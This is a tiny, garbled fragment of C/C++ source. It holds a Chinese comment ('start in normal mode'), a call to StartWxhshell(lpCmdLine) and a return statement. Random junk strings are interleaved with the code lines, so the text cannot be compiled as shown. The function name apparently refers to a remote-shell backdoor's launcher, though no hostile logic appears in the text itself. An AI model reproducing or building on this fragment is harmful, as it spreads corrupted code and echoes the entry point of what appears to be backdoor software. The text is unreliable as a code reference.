// 普通方式启动 G8H=xr#
StartWxhshell(lpCmdLine); 2e#hJ-/`-
<\Lii0hi!
return 0; #TXgV0\F
}